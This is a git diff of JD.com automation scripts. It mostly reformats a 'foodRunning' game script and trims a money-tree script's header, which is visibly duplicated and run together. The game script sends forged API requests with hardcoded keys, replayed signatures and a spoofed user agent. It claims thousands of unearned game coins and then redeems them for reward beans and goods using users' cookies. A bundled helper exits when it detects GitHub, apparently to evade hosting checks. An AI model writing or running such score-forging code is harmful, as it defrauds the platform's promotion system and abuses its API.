"jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/390536540;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + } + } + $.post(options, async (err, resp, data) => { + try { + console.log(data); + const reust = JSON.parse(data) + if (reust.errorCode == 200) { + if (reust.data.data.remark === `好友助力数量已达上限,无法为好友助力!`) { + $.oneCodeInfo.max = true; + } else { + $.canHelp = false; + } + $.log(`${reust.data.data.remark}`) + } else if (reust.errorCode == 500) { + $.log(reust.errorMessage) } - $.post(options, async (err, resp, data) => { - try { - console.log(data); - const reust = JSON.parse(data) - if (reust.errorCode == 200) { - if (reust.data.data.remark === `好友助力数量已达上限,无法为好友助力!`) { - $.oneCodeInfo.max = true; - } else { - $.canHelp = false; - } - $.log(`${reust.data.data.remark}`) - } else if (reust.errorCode == 500) { - $.log(reust.errorMessage) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } }); + }); } + function dojoinMember(id) { - return new Promise(async (resolve) => { - let options = { - url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/complete/mission?open_id=&mix_nick=&bizExtString=&user_id=10299171`, + return new Promise(async (resolve) => { + let options = { + url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/complete/mission?open_id=&mix_nick=&bizExtString=&user_id=10299171`, - body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"b0cf8f20b85bca9b2698848ac1c573a5","timestamp":1625034782254,"userId":10299171},"admJson":{"goodsNumId":"${id}","missionType":"joinMember","method":"/foodRunning/complete/mission","actId":"jd_food_running","buyerNick":"${nick}","pushWay":1,"userId":10299171}}}`, - headers: { - "Origin": "https://jinggengjcq-isv.isvjcloud.com", - "Content-Type": "application/json; charset=UTF-8", - "X-Requested-With": "XMLHttpRequest", - "Host": "jinggengjcq-isv.isvjcloud.com", - "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?sid=75b413510cb227103e928769818a74ew&un_area=4_48201_54794_0", - "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/390536540;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - } + body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"b0cf8f20b85bca9b2698848ac1c573a5","timestamp":1625034782254,"userId":10299171},"admJson":{"goodsNumId":"${id}","missionType":"joinMember","method":"/foodRunning/complete/mission","actId":"jd_food_running","buyerNick":"${nick}","pushWay":1,"userId":10299171}}}`, + headers: { + "Origin": "https://jinggengjcq-isv.isvjcloud.com", + "Content-Type": "application/json; charset=UTF-8", + "X-Requested-With": "XMLHttpRequest", + "Host": "jinggengjcq-isv.isvjcloud.com", + "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?sid=75b413510cb227103e928769818a74ew&un_area=4_48201_54794_0", + "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/390536540;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + } + } + $.post(options, async (err, resp, data) => { + try { + const reust = JSON.parse(data) + if (reust.errorCode == 200) { + $.log(`\n如果入会失败 请手动去入会\n`) + $.log(`${reust.data.data.remark}`) + } else if (reust.errorCode == 500) { + $.log(reust.errorMessage) } - $.post(options, async (err, resp, data) => { - try { - - const reust = JSON.parse(data) - - if (reust.errorCode == 200) { - $.log(`\n如果入会失败 请手动去入会\n`) - $.log(`${reust.data.data.remark}`) - } else if (reust.errorCode == 500) { - - $.log(reust.errorMessage) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } }); + }); } + function playgame() { - return new Promise(async (resolve) => { - let options = { - url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/SendCoin?open_id=&mix_nick=&bizExtString=&user_id=10299171`, + return new Promise(async (resolve) => { + let options = { + url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/SendCoin?open_id=&mix_nick=&bizExtString=&user_id=10299171`, - body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"3a4b12fe8d85b42c2f5defb8d642f043","timestamp":1625035211650,"userId":10299171},"admJson":{"coin":10000,"point":10000,"method":"/foodRunning/SendCoin","actId":"jd_food_running","buyerNick":"${nick}","pushWay":1,"userId":10299171}}}`, - headers: { - "Origin": "https://jinggengjcq-isv.isvjcloud.com", - "Content-Type": "application/json; charset=UTF-8", - "X-Requested-With": "XMLHttpRequest", - "Host": "jinggengjcq-isv.isvjcloud.com", - "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?sid=75b413510cb227103e928769818a74ew&un_area=4_48201_54794_0", - "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/390536540;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - } + body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"3a4b12fe8d85b42c2f5defb8d642f043","timestamp":1625035211650,"userId":10299171},"admJson":{"coin":5000,"point":5000,"method":"/foodRunning/SendCoin","actId":"jd_food_running","buyerNick":"${nick}","pushWay":1,"userId":10299171}}}`, + headers: { + "Origin": "https://jinggengjcq-isv.isvjcloud.com", + "Content-Type": "application/json; charset=UTF-8", + "X-Requested-With": "XMLHttpRequest", + "Host": "jinggengjcq-isv.isvjcloud.com", + "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?sid=75b413510cb227103e928769818a74ew&un_area=4_48201_54794_0", + "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/390536540;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + } + } + $.post(options, async (err, resp, data) => { + try { + const reust = JSON.parse(data) + if (reust.errorCode == 200) { + if (reust.data.data.enoughCoin == true) { + $.log(`刷分成功 刷金币成功${reust.data.data.point} 正在前往领取京豆`) + await ljd("jdRunningBox1") + await $.wait(3000) + await ljd("jdRunningBox2") + await $.wait(3000) + await ljd("jdRunningBox3") + } else if (reust.data.data.enoughCoin == false) { + $.log(`${reust.data.data.msg}`) + } + } else if (reust.errorCode == 500) { + $.log(reust.errorMessage) } - $.post(options, async (err, resp, data) => { - try { - - const reust = JSON.parse(data) - - if (reust.errorCode == 200) { - if (reust.data.data.enoughCoin == true) { - $.log(`刷分成功 刷金币成功${reust.data.data.point} 正在前往领取京豆`) - await ljd("jdRunningBox1") - await $.wait(3000) - await ljd("jdRunningBox2") - await $.wait(3000) - await ljd("jdRunningBox3") - } else if (reust.data.data.enoughCoin == false) { - $.log(`${reust.data.data.msg}`) - - } - - } else if (reust.errorCode == 500) { - - $.log(reust.errorMessage) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } }); + }); } + function ljd(awardId) { - return new Promise(async (resolve) => { - let options = { - url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/OpenBox?open_id=&mix_nick=&bizExtString=&user_id=10299171`, - - body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"24068838e03a8c538424a146d0c49a27","timestamp":1625035590002,"userId":10299171},"admJson":{"awardId":"${awardId}","method":"/foodRunning/OpenBox","actId":"jd_food_running","buyerNick":"${nick}","pushWay":1,"userId":10299171}}}`, - headers: { - "Origin": "https://jinggengjcq-isv.isvjcloud.com", - "Content-Type": "application/json; charset=UTF-8", - "X-Requested-With": "XMLHttpRequest", - "Host": "jinggengjcq-isv.isvjcloud.com", - "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?sid=75b413510cb227103e928769818a74ew&un_area=4_48201_54794_0", - "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/390536540;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - } + return new Promise(async (resolve) => { + let options = { + url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/OpenBox?open_id=&mix_nick=&bizExtString=&user_id=10299171`, + body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"24068838e03a8c538424a146d0c49a27","timestamp":1625035590002,"userId":10299171},"admJson":{"awardId":"${awardId}","method":"/foodRunning/OpenBox","actId":"jd_food_running","buyerNick":"${nick}","pushWay":1,"userId":10299171}}}`, + headers: { + "Origin": "https://jinggengjcq-isv.isvjcloud.com", + "Content-Type": "application/json; charset=UTF-8", + "X-Requested-With": "XMLHttpRequest", + "Host": "jinggengjcq-isv.isvjcloud.com", + "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?sid=75b413510cb227103e928769818a74ew&un_area=4_48201_54794_0", + "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/390536540;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + } + } + $.post(options, async (err, resp, data) => { + try { + const reust = JSON.parse(data) + if (reust.errorCode == 200) { + jdbean = reust.data.data.msg + $.log(`${reust.data.data.msg}`) + await showMsg() + } else if (reust.errorCode == 500) { + $.log(reust.errorMessage) } - $.post(options, async (err, resp, data) => { - try { - - const reust = JSON.parse(data) - - if (reust.errorCode == 200) { - jdbean = reust.data.data.msg - $.log(`${reust.data.data.msg}`) - await showMsg() - - } else if (reust.errorCode == 500) { - - $.log(reust.errorMessage) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } }); + }); } + function showMsg() { - return new Promise(resolve => { - message += `\n${jdbean}\n`; - $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); - resolve() - }) + return new Promise(resolve => { + message += `\n${jdbean}\n`; + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + resolve() + }) } + function duihuan() { - return new Promise(async (resolve) => { - let options = { - url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/exchangeGoods?open_id=&mix_nick=&bizExtString=&user_id=10299171`, - - body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"8bf72ff9ded8cc22cd9ec407165342e7","timestamp":1625093423768,"userId":10299171},"admJson":{"awardId":"${lsjdh}","method":"/foodRunning/exchangeGoods","actId":"jd_food_running","buyerNick":"${nick}","pushWay":1,"userId":10299171}}}`, - headers: { - "Origin": "https://jinggengjcq-isv.isvjcloud.com", - "Content-Type": "application/json; charset=UTF-8", - "X-Requested-With": "XMLHttpRequest", - "Host": "jinggengjcq-isv.isvjcloud.com", - "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?lng=106.286832&lat=29.969274&sid=1c98c3013bd5808a5977e0f9d5f5272w&un_area=17_1458_1463_43894", - "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/390536540;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - } + return new Promise(async (resolve) => { + let options = { + url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/exchangeGoods?open_id=&mix_nick=&bizExtString=&user_id=10299171`, + body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"8bf72ff9ded8cc22cd9ec407165342e7","timestamp":1625093423768,"userId":10299171},"admJson":{"awardId":"${lsjdh}","method":"/foodRunning/exchangeGoods","actId":"jd_food_running","buyerNick":"${nick}","pushWay":1,"userId":10299171}}}`, + headers: { + "Origin": "https://jinggengjcq-isv.isvjcloud.com", + "Content-Type": "application/json; charset=UTF-8", + "X-Requested-With": "XMLHttpRequest", + "Host": "jinggengjcq-isv.isvjcloud.com", + "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?lng=106.286832&lat=29.969274&sid=1c98c3013bd5808a5977e0f9d5f5272w&un_area=17_1458_1463_43894", + "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/390536540;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + } + } + $.post(options, async (err, resp, data) => { + try { + const reust = JSON.parse(data) + if (reust.errorCode == 200) { + $.log(`${reust.data.data.msg}`) + } else if (reust.errorCode == 500) { + $.log("今日已领取完毕,请明日再来!" + reust.errorMessage) } - $.post(options, async (err, resp, data) => { - try { - - const reust = JSON.parse(data) - - if (reust.errorCode == 200) { - - $.log(`${reust.data.data.msg}`) - } else if (reust.errorCode == 500) { - - $.log("今日已领取完毕,请明日再来!" + reust.errorMessage) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } }); + }); } async function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data["retcode"] === 13) { + $.isLogin = false; //cookie过期 + return; } + if (data["retcode"] === 0) { + $.nickName = (data["base"] && data["base"].nickname) || $.UserName; + } else { + $.nickName = $.UserName; + } + } else { + console.log(`京东服务器返回空数据`) + } } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data["retcode"] === 13) { - $.isLogin = false; //cookie过期 - return; - } - if (data["retcode"] === 0) { - $.nickName = (data["base"] && data["base"].nickname) || $.UserName; - } else { - $.nickName = $.UserName; - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } }) + }) } function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; } + } } // prettier-ignore function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_moneyTree.js b/jd_moneyTree.js index 371ee03..5bab6d7 100755 --- a/jd_moneyTree.js +++ b/jd_moneyTree.js @@ -20,894 +20,11 @@ cron "3 0-23/2 * * *" script-path=https://gitee.com/lxk0301/jd_scripts/raw/maste 京东摇钱树 = type=cron,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_moneyTree.js, cronexpr="3 0-23/2 * * *", timeout=3600, enable=true */ -const $ = new Env('京东摇钱树'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck;/* -京东摇钱树 :https://gitee.com/lxk0301/jd_scripts/raw/master/jd_moneyTree.js -cron 3 0-23/2 * * * jd_moneyTree.js -asd920 -更新时间:2021-4-23 -活动入口:京东APP我的-更多工具-摇钱树,[活动链接](https://uua.jr.jd.com/uc-fe-wxgrowing/moneytree/index/?channel=yxhd) -京东摇钱树支持京东双账号 -注:如果使用Node.js, 需自行安装'crypto-js,got,http-server,tough-cookie'模块. 例: npm install crypto-js http-server tough-cookie got --save -===============Quantumultx=============== -[task_local] -#京东摇钱树 -3 0-23/2 * * * https://gitee.com/lxk0301/jd_scripts/raw/master/jd_moneyTree.js, tag=京东摇钱树, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdyqs.png, enabled=true - -==============Loon=========== -[Script] -cron "3 0-23/2 * * *" script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_moneyTree.js,tag=京东摇钱树 - -===============Surge=========== -京东摇钱树 = type=cron,cronexp="3 0-23/2 * * *",wake-system=1,timeout=3600,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_moneyTree.js - -============小火箭========= -京东摇钱树 = type=cron,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_moneyTree.js, cronexpr="3 0-23/2 * * *", timeout=3600, enable=true -*/ const $ = new Env('京东摇钱树'); const notify = $.isNode() ? require('./sendNotify') : ''; //Node.js用户请在jdCookie.js处填写京东ck; const jdCookieNode = $.isNode() ? 